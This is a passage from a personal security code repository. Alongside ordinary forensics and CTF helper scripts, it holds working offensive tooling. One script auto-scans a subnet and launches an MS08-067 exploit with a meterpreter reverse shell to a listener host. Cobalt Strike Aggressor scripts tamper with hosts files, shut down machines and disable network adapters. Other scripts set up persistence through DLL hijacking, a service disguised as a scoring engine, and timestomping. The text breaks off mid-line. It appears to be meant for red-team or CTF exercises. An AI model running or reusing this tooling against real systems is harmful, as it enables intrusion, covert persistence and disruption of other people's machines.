6 | while True: 7 | try: 8 | driver = webdriver.Chrome('C:\\Users\\IEUser\\chromedriver.exe') # Optional argument, if not specified will search path. 9 | driver.get('http://' + random.choice(open('urls.csv').readlines()).rstrip('\n')); 10 | time.sleep(5) # Let the user actually see something! 11 | driver.quit() 12 | except: pass 13 | 14 | 15 | -------------------------------------------------------------------------------- /python/ctf_botnet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import socket 4 | 5 | s = socket.socket() 6 | port = 443 7 | s.bind(('',port)) 8 | s.listen(5) 9 | print("Listening") 10 | while True: 11 | c, addr = s.accept() 12 | print("Connection!") 13 | data = c.recv(16) 14 | if data: 15 | print(data) 16 | else: 17 | print("No input") 18 | break 19 | c.close() 20 | s.close() 21 | -------------------------------------------------------------------------------- /python/ctf_v1: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Work in progress. Generate random number for a random high port then 4 | # set an IP address based on hostname (target1, target2, target3, ect...) 5 | # Use random port to set sshd to run using that port, to require nmap scan 6 | # to find ssh port. 7 | 8 | 9 | # Generate a random number 10 | # http://www.liquidweb.com/kb/changing-the-ssh-port/ 11 | 12 | from random import randint 13 | 14 | port = randint(1024,65535) 15 | 16 | print port 17 | 18 | 19 | # Get hostname 20 | import socket 21 | print(socket.gethostname()) 22 | 23 | 24 | # Set IP address 25 | # http://stackoverflow.com/questions/20420937/how-to-assign-ip-address-to-interface-in-python 26 | 27 | import socket, struct, fcntl 28 | 29 | SIOCSIFADDR = 0x8916 30 | 31 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 32 | 33 | def setIpAddr(iface, ip): 34 | bin_ip = socket.inet_aton(ip) 35 | ifreq = struct.pack('16sH2s4s8s', iface, socket.AF_INET, '\x00'*2, bin_ip, '\x00'*8) 36 | fcntl.ioctl(sock, SIOCSIFADDR, ifreq) 37 | 38 | setIpAddr('em1', '192.168.0.1') 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /python/driveSearch.py: -------------------------------------------------------------------------------- 1 | # This python script will search a host for a file or files, output results to a 2 | # text file, copy av logs, and compress all files. 3 | # Created by @jgaudard 4 | # Version 0.1 5 | 6 | 7 | import subprocess 8 | import os 9 | 10 | #Variables 11 | case = raw_input('Enter the case number for this incident\n:') 12 | fileSearch = raw_input('Enter the file you are searching for\n(Note it is assumed to have * on each side of the file name you type)\n:') 13 | 14 | 15 | #Drive Mapping 16 | networkDriveL = raw_input("Enter the user's profile path\n:") 17 | os.system(r'NET USE L: /delete') 18 | os.system(r'NET USE L: %s' % networkDriveL) 19 | 20 | #Log Creation 21 | caseLog = open('%s.txt' % case, 'w') 22 | caseLog.write('\n\nPreforming a search for %s on %s\n\n' % (fileSearch, networkDriveL)) 23 | 24 | 25 | #Searching 26 | print('Preforming a search for %s on %s\n\n' % (fileSearch, networkDriveL)) 27 | search = subprocess.Popen(['l:', '&', 'cd\\', '&', 'chdir', '&', 'dir', '/s', '*%s*' % fileSearch], stdout=caseLog, stderr=caseLog, shell=True) 28 | 29 | search.wait() 30 | caseLog.close() -------------------------------------------------------------------------------- /python/findReplace.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Find/Replace SID with username. 3 | 4 | import re 5 | 6 | print '[+] Doing things!' 7 | 8 | ### Opens files, sets variables 9 | ### REGEX for SIDs: S-\d-\d-\d+-\d+-\d+-\d+-\w+ 10 | 11 | sids = open("userAndSID.txt","r+") 12 | 13 | ''' 14 | perms = open('permissions','r+') 15 | newperms = open('updatedPermissions','w+') 16 | ''' 17 | 18 | replacements = {} 19 | 20 | ### Adds user and sid from input file into replacements dictionary. 21 | for line in sids: 22 | user, sid = line.split('\t') 23 | replacements.update({sid.rstrip():user.rstrip()}) 24 | 25 | with open('updatedPermissions','w+') as fout: 26 | with open('permissions','r+') as fin: 27 | for line in fin: 28 | print "[+] looking through the file" 29 | for key, value in replacements.iteritems(): 30 | print "[+] now we are in the list of user and sids" 31 | fout.write(line.replace(key, value)) 32 | 33 | 34 | 35 | teststring = "D:AI(A;CIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIIOID;FR;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1301bf;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICIID;FR;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO)" 36 | 37 | r = re.findall('S-\d-\d-\d+-\d+-\d+-\d+-\w+', teststring) 38 | 39 | print "[+] Found SID!! ", r 40 | 41 | 42 | 43 | 44 | 45 | 46 | #### Closes files #### 47 | 48 | sids.close() 49 | fin.close() 50 | fout.close() 51 | 52 | 53 | #### Failed Code #### 54 | 55 | ''' 56 | #### 57 | for line in perms: 58 | for ruser, rsid in replacements.iteritems(): 59 | line = line.replace(rsid, ruser) 60 | newperms.write(line) 61 | 62 | #### 63 | indata = perms.read() 64 | newperms.write(indata) 65 | 66 | for aline in newperms: 67 | print aline 68 | 69 | for line in sids: 70 | user, sid = line.split('\t') 71 | print user, sid 72 | 73 | #### 74 | for line in perms: 75 | for src, target in replacements.iteritems(): 76 | line = line.replace(src, target) 77 | print line 78 | newperms.write(line) 79 | 80 | ''' 81 | -------------------------------------------------------------------------------- /python/hostAlive.py: -------------------------------------------------------------------------------- 1 | #This python script will check a host or hosts with a ping sweep. 2 | 3 | import os 4 | 5 | host = raw_input('Enter the hostname or ip address:\n\n') 6 | 7 | doPing = os.system('ping -a %s' % host) 8 | 9 | logFile = open('working.log', 'w') 10 | logFile.write(doPing) 11 | logFile.close() 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /python/listfport.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #!C:\Python27\python.exe 3 | 4 | # pslist/fport differences 5 | 6 | import csv 7 | from collections import defaultdict 8 | 9 | print("\n\n[*] Starting...\n\n") 10 | 11 | fport = "/Users/gaudard/Desktop/code/txts/fport.txt" # column 5 12 | pslist = "/Users/gaudard/Desktop/code/txts/pslist.txt" # column 0 13 | columns = defaultdict(list) 14 | 15 | def readFiles(infile): 16 | with open(infile) as f: 17 | reader = csv.reader(f, delimiter=" ") 18 | reader.next() 19 | for row in reader: 20 | for (i,v) in enumerate(row): 21 | columns[i].append(v) 22 | return columns 23 | 24 | readFiles(pslist) 25 | print "\nprinting pslist\n" 26 | print columns[0] 27 | 28 | 29 | readFiles(fport) 30 | print "\nprinting fport listing\n" 31 | print columns[5] 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /python/msfautopwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ### Created by @jgaudard 4 | ### For educational use only 5 | ### Version 2.0 6 | ### Version Notes: 7 | ### Moved autopwn() module into scanner module, allows for pwnage when a new target is found. 8 | ### Host interation from handler() using msfconsole with resource file instead of msfcli. 9 | 10 | 11 | 12 | import socket as sk 13 | import subprocess, shlex, os, time 14 | 15 | ### Default Variables 16 | targets = [] 17 | payload = 'windows/meterpreter/reverse_tcp' 18 | exploit="windows/smb/ms08_067_netapi" 19 | targetfile="hosts.txt" 20 | lhost="172.16.175.100" 21 | lport="443" 22 | net="172.16.175" 23 | netStart=1 24 | netStop=254 25 | 26 | 27 | ### Scans target network for open port 445 28 | def scanner(net, netStart, netStop): 29 | print('running scanner') 30 | for octect in range(netStart,netStop): 31 | #test = net + '.' + str(octect) 32 | try: 33 | 34 | network = net + '.' + str(octect) 35 | s=sk.socket(sk.AF_INET, sk.SOCK_STREAM) 36 | s.settimeout(1) 37 | s.connect((network, 445)) 38 | targets.append(network) 39 | if(len(targets) != 0): 40 | for target in targets: 41 | ### the autopwn 42 | subprocess.Popen(shlex.split('msfcli {0} PAYLOAD={1} RHOST={2} LHOST={3} LPORT={4} DisablePayloadHandler=true E'.format(exploit, payload, target, lhost, lport))) 43 | targets.pop(0) 44 | s.close 45 | except: continue 46 | 47 | ### Starts MSF Handler in a new terminal window 48 | def msfhandler(): 49 | print('Starting Handler') 50 | 51 | handlerfile = open('handler.rc', 'w') 52 | handlerfile.write("use exploit/multi/handler\n") 53 | handlerfile.write("set PAYLOAD windows/meterpreter/reverse_tcp\n") 54 | handlerfile.write("set LHOST {0}\n".format(lhost)) 55 | handlerfile.write("set LPORT {0}\n".format(lport)) 56 | handlerfile.write("set ExitOnSession false\n") 57 | handlerfile.write("exploit -j -z\n") 58 | handlerfile.close() 59 | 60 | msfstart = subprocess.Popen(shlex.split('service postgresql start ; service metasploit start')) 61 | time.sleep(30) 62 | handler = subprocess.Popen(shlex.split('gnome-terminal -x msfconsole -r handler.rc')) 63 | time.sleep(30) 64 | os.remove('handler.rc') 65 | 66 | 67 | ###moved into scanner module to pwn as targets are found 68 | ''' 69 | def autopwn(targets): 70 | print('starting to autopwn targets: {0}'.format(targets)) 71 | for target in targets: 72 | subprocess.Popen(shlex.split('msfcli {0} PAYLOAD={1} RHOST={2} LHOST={3} LPORT={4} DisablePayloadHandler=true E'.format(exploit, payload, target, lhost, lport))) 73 | del targets[:] ### Deletes all targets after autopwned 74 | ''' 75 | 76 | 77 | 78 | msfhandler() 79 | scanner(net, netStart, netStop) 80 | 81 | 82 | ### Examples ### 83 | ### Use multiple scanner and autopwn modules to scan and pwn more! 84 | ''' 85 | scanner(net, 1, 10) 86 | autopwn(targets) 87 | scanner(net, 11, 50) 88 | autopwn(targets) 89 | scanner(net, 51, 254) 90 | autopwn(targets) 91 | scanner('172.16.175', netStart, netStop) 92 | autopwn(targets) 93 | ''' 94 | 95 | 96 | -------------------------------------------------------------------------------- /python/permissions: -------------------------------------------------------------------------------- 1 | temp 2 | 3 | D:AI(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 4 | 5 | temp\different 6 | 7 | D:AI(A;OICI;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 8 | 9 | temp\somethingelse 10 | 11 | D:AI(A;OICI;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICI;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICI;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 12 | 13 | temp\unique 14 | 15 | D:AI(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 16 | 17 | temp\users 18 | 19 | D:AI(A;CI;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICI;FR;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICI;0x1301bf;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICI;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICI;FR;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 20 | 21 | temp\somethingelse\directories 22 | 23 | D:AI(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 24 | 25 | temp\somethingelse\more 26 | 27 | D:AI(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 28 | 29 | temp\somethingelse\still 30 | 31 | D:AI(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 32 | 33 | temp\users\different 34 | 35 | D:PAI(A;OICIIO;FA;;;CO)(A;OICI;FA;;;SY)(A;OICI;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICI;FR;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICI;FA;;;BA)(A;CI;0x100006;;;BU)(A;OICI;0x1200a9;;;BU) 36 | 37 | temp\users\somethingelse 38 | 39 | D:AI(A;CIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIIOID;FR;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1301bf;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICIID;FR;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 40 | 41 | temp\users\unique 42 | 43 | D:AI(A;CIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIIOID;FR;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1301bf;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICIID;FR;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 44 | 45 | -------------------------------------------------------------------------------- /python/permissions~: -------------------------------------------------------------------------------- 1 | temp 2 | D:AI(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 3 | temp\different 4 | D:AI(A;OICI;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 5 | temp\somethingelse 6 | D:AI(A;OICI;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICI;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICI;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 7 | temp\unique 8 | D:AI(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 9 | temp\users 10 | D:AI(A;CI;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICI;FR;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICI;0x1301bf;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICI;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICI;FR;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 11 | temp\somethingelse\directories 12 | D:AI(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 13 | temp\somethingelse\more 14 | D:AI(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 15 | temp\somethingelse\still 16 | D:AI(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 17 | temp\users\different 18 | D:PAI(A;OICIIO;FA;;;CO)(A;OICI;FA;;;SY)(A;OICI;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICI;FR;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICI;FA;;;BA)(A;CI;0x100006;;;BU)(A;OICI;0x1200a9;;;BU) 19 | temp\users\somethingelse 20 | D:AI(A;CIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIIOID;FR;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1301bf;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICIID;FR;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 21 | temp\users\unique 22 | D:AI(A;CIID;0x1200a9;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIIOID;FR;;;S-1-5-21-1573582526-416615227-727307700-1009)(A;OICIID;0x1301bf;;;S-1-5-21-1573582526-416615227-727307700-1010)(A;OICIID;FA;;;S-1-5-21-1573582526-416615227-727307700-1011)(A;OICIID;FR;;;S-1-5-21-1573582526-416615227-727307700-1012)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;CIID;LC;;;BU)(A;CIID;DC;;;BU)(A;OICIIOID;GA;;;CO) 23 | -------------------------------------------------------------------------------- /python/regex.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ### Regex Testing ### 4 | 5 | import re 6 | 7 | print "[+] Starting" 8 | 9 | 10 | f = open('permissions', 'r') 11 | r = re.compile('S-\d-\d-\d+-\d+-\d+-\d+-\w+') 12 | 13 | for line in f: 14 | if re.match('S-\d-\d-\d+-\d+-\d+-\d+-\w+', line): 15 | print line 16 | 17 | f.close() 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /python/regex.py~: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ### Regex Testing ### 4 | 5 | import re 6 | 7 | print "[+] Starting" 8 | 9 | f = 'permissions' 10 | 11 | 12 | 13 | with open(f, 'r') as f: 14 | lines = f.read() 15 | 16 | for line in lines: 17 | r = re.search(r'temp\different\users', line) 18 | if r: 19 | new_line=r.group() + '\n' 20 | print new_line 21 | 22 | 23 | 24 | 25 | f.close() 26 | -------------------------------------------------------------------------------- /python/service_scoring.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import subprocess, shlex, random, re, time shutil 4 | 5 | targets = ["192.168.10.101","192.168.10.102","192.168.10.103"] 6 | ports = ["21","22","23","445"] 7 | scores = {"192.168.10.101":0,"192.168.10.102":0,"192.168.10.103":0} 8 | scoreFile = "/root/scores.txt" 9 | 10 | def scanner(ip, port) 11 | cmd = "/usr/bin/nmap -n --max-retries 0 -T4 -sV -p" + port + " -Pn -oG - " + ip 12 | args = shlex.split(cmd) 13 | scan = subprocess.check_output(args) 14 | return scan.decode('utf-8') 15 | 16 | while True: 17 | startTime = time.time() 18 | random.shuffle(targets) 19 | random.shuffle(ports) 20 | #print(scores) 21 | random.shuffle(targets) 22 | for port in ports: 23 | for target in targets: 24 | if "open" in scanner(target, port): 25 | scores[target] += 2 26 | else: 27 | scores[target] -= 10 28 | endTime = time.time() 29 | with open(scoreFile, 'w') as outfile: 30 | for target in scores: 31 | line = target, scores[target] 32 | outfile.write(re.sub("[()',]", '', str(line))) 33 | outfile.write('\n') 34 | shutil.copy(scoreFile, '/var/www/html/scores.txt') 35 | print("Scores updated. Run time: ", endTime - startTime) 36 | time.sleep(900) 37 | -------------------------------------------------------------------------------- /python/testing.py: -------------------------------------------------------------------------------- 1 | #testing.py 2 | # http://stackoverflow.com/questions/3921106/matching-popen-communicate-output-with-regular-expressions-doesnt-work 3 | 4 | 5 | 6 | import subprocess 7 | 8 | 9 | userid = raw_input("Enter the user's id\n:") 10 | 11 | findUserProfile = subprocess.Popen(['NET','USER','/domain','%s' % userid], stdout=PIPE, stderr=PIPE, shell=True) 12 | 13 | findUserProfile.wait() -------------------------------------------------------------------------------- /python/userAndSID.txt: -------------------------------------------------------------------------------- 1 | config S-1-5-18 2 | LocalService S-1-5-19 3 | NetworkService S-1-5-20 4 | user1 S-1-5-21-1573582526-416615227-727307700-1009 5 | user42 S-1-5-21-1573582526-416615227-727307700-1010 6 | differentuser7 S-1-5-21-1573582526-416615227-727307700-1011 7 | uniqueUser99 S-1-5-21-1573582526-416615227-727307700-1012 8 | Administrator S-1-5-21-1573582526-416615227-727307700-500 9 | -------------------------------------------------------------------------------- /red-team/aggressor/admin.cna: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard :: I don't twitter much 3 | # Aggressor script with admin actions 4 | # Created: 2 April 2017 5 | # Version 0.1 6 | # 7 | # References: 8 | ######################################## 9 | 10 | ##netsh interface portproxy add v4tov4 listenport=4450 connectport=445 connectaddress=133.7.150.150 11 | 12 | alias netshadd { 13 | bshell($1, "netsh interface portproxy add v4tov4 listenport=$2 connectaddress=$3 connectport=$4"); 14 | } 15 | 16 | alias netshdel { 17 | bshell($1, "netsh interface portproxy delete v4tov4 listenport=$2"); 18 | } 19 | 20 | alias netshshow { 21 | bshell($1, "netsh interface portproxy show v4tov4 all"); 22 | } 23 | -------------------------------------------------------------------------------- /red-team/aggressor/attacks.cna: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard :: I don't twitter much 3 | # Aggressor script with various attacks 4 | # Created: 3 March 2017 Modified: 28 Mar 2017 5 | # Version 1.0 6 | # 7 | # References: 8 | # https://github.com/bluscreenofjeff 9 | ######################################## 10 | 11 | 12 | popup beacon_bottom { 13 | menu "Deny" { 14 | item "Add Host File Entry" { 15 | prompt_text("Specify an entry to add to the host file:", "127.0.0.1 google.com", lambda({ 16 | bshell(@ids, 'echo ' . $1 . ' >> c:\\windows\\System32\\Drivers\\Etc\Hosts'); 17 | blog(@ids,"Adding the following entry to the host file: $1 "); 18 | bshell(@ids, "ipconfig /flushdns"); 19 | }, @ids => $1)); 20 | } 21 | item "Replace Host File" { 22 | prompt_file_open("Choose a file to replace the current host file:", "hosts.txt", false, lambda({ 23 | bcd(@ids,"c:\\windows\\system32\\drivers\\etc"); 24 | brm(@ids,"hosts"); 25 | blog(@ids,"Uploading file $1 to c:\\windows\\system32\\drivers\\etc\\hosts"); 26 | bupload(@ids,$1); 27 | bshell(@ids, "ipconfig /flushdns"); 28 | blog(@ids,"File uploaded and DNS flushed. Done!"); 29 | }, @ids => $1)); 30 | } 31 | item "Shutdown Host" { 32 | prompt_confirm("Are you SURE you want to bounce the box(es)?", "Confirm", lambda({ 33 | blog(@ids,"shutting down"); 34 | bshell(@ids, "shutdown /s /f /t 5 /c 'Uh uh uh! You didn't say the magic word! Uh uh uh! Uh uh uh!' -d up:125:1"); 35 | }, @ids => $1)); 36 | } 37 | item "Disable Network" { 38 | prompt_confirm("Are you SURE you want to disable all network interfaces?", "Confirm", lambda({ 39 | bshell(@ids,"wmic path win32_networkadapter where netenabled='TRUE' call disable"); 40 | blog(@ids,"Disabling network interfaces!"); 41 | }, @ids => $1)); 42 | } 43 | } 44 | menu "Lulz" { 45 | item "IE Kiosk Popup" { ## defaults to mcdonalds job, recommend url shortening 46 | prompt_text("What site do you want to pop up?", "bit.ly/2noJ1YP", lambda({ 47 | binput(@ids,"C:\\Progra~1\\Intern~1\\iexplore.exe -k $1"); 48 | bshell(@ids, "C:\\Progra~1\\Intern~1\\iexplore.exe -k $1"); 49 | }, @ids => $1)); 50 | } 51 | item "Clippy" { 52 | #BE SURE TO RUN SET UP STEPS 53 | #based on this blog post: https://mellowtigger.dreamwidth.org/250130.html 54 | # 55 | prompt_text("What should Clippy say?", "Try Harder", lambda({ 56 | $text = '$MI6 = new-object -com agent.control.2; $MI6.connected = $true; $MI6.characters.load("Clippy","Clippit.acs"); $agent = $MI6.characters.character("Clippy"); $agent.moveto(800,400); $agent.Show(); $agent.Play("Wave"); $agent.think(" ' . $1 . ' "); $agent.Play("Wave"); Start-Sleep -s 4; $agent.Play("Wave"); $agent.hide(); while ($agent.visible) { sleep -Milliseconds 100 }; $MI6.characters.unload("Clippy");'; 57 | binput(@ids,"$text"); 58 | bpowershell(@ids, "$text"); 59 | blog(@ids,"Clippy finished helping out.") 60 | }, @ids => $1)); 61 | } 62 | item "Windows Alert (Win 7+)" { 63 | prompt_text("What should the alert say?", "Try Harder", lambda({ 64 | bpowershell(@ids, 'Add-Type -AssemblyName Microsoft.VisualBasic; [Microsoft.VisualBasic.Interaction]::MsgBox("' . $1 . '", "OKOnly,MsgBoxSetForeground,SystemModal,Exclamation", "")' ); 65 | blog(@ids,"Creating an alert box with the following message: $1 "); 66 | }, @ids => $1)); 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /red-team/aggressor/beacon_initial.cna: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Created by @jgaudard :: I don't twitter much 3 | # Aggressor script for initial_beacon with cobaltstrike 4 | # Created: 29 Sept 2016 Modified: 28 Mar 2017 5 | # Version 2.0 6 | ################################################# 7 | 8 | $listener = "local - 443"; 9 | 10 | sub getanypid { 11 | bps($1, lambda({ 12 | local('$pid $name $entry'); 13 | foreach $entry (split("\n", $2)) { 14 | ($name, $ppid, $pid) = split("\\s+", $entry); 15 | if ($name eq $proc) { 16 | # $1 is our Beacon ID, $pid is the PID of $proc 17 | [$callback: $1, $proc, $pid]; 18 | } 19 | } 20 | }, $proc => $2, $callback => $3)); 21 | } 22 | 23 | sub persist_linkinfo { 24 | if (beacon_info($1, 'is64') == 1) { 25 | if (-exists script_resource("linkinfo.dll")) { 26 | blog($1, "Setting up linkinfo.dll persistence."); 27 | bcd($1, 'c:\windows'); 28 | bupload($1, script_resource("linkinfo.dll")); 29 | btimestomp($1, "linkinfo.dll", 'c:\\windows\\sysnative\\linkinfo.dll'); 30 | } 31 | else { 32 | berror($1, "linkinfo.dll not found."); 33 | } 34 | } 35 | else { 36 | if (-exists script_resource("linkinfo32.dll")) { 37 | blog($1, "Setting up linkinfo.dll persistence."); 38 | bcd($1, 'c:\windows'); 39 | bupload($1, script_resource("linkinfo32.dll")); 40 | bshell($1, "move c:\\windows\\linkinfo32.dll c:\\windows\\linkinfo.dll"); 41 | btimestomp($1, "linkinfo.dll", 'c:\\windows\\sysnative\\linkinfo.dll'); 42 | } 43 | else { 44 | berror($1, "linkinfo32.dll not found."); 45 | } 46 | } 47 | } 48 | sub persist_scorebot { 49 | if (beacon_info($1, 'is64') == 1) { 50 | if (-exists script_resource("scorebot.exe")) { 51 | blog($1, "Setting up Scorebot Service Persistence"); 52 | bcd($1, 'c:\windows\system32'); 53 | bupload($1, script_resource("scorebot.exe")); 54 | btimestomp($1, "scorebot.exe", "cmd.exe"); 55 | bshell($1, 'sc delete scorebot'); 56 | bshell($1, 'sc create scorebot binPath= "C:\windows\scorebot.exe" start= auto DisplayName= "Scoring Engine Service"'); 57 | bshell($1, 'sc description scorebot "Scoring engine required for white team tracking uptime and services of the host."'); 58 | bshell($1, 'sc start scorebot'); 59 | } 60 | else { 61 | berror($1, "scorebot.exe does not 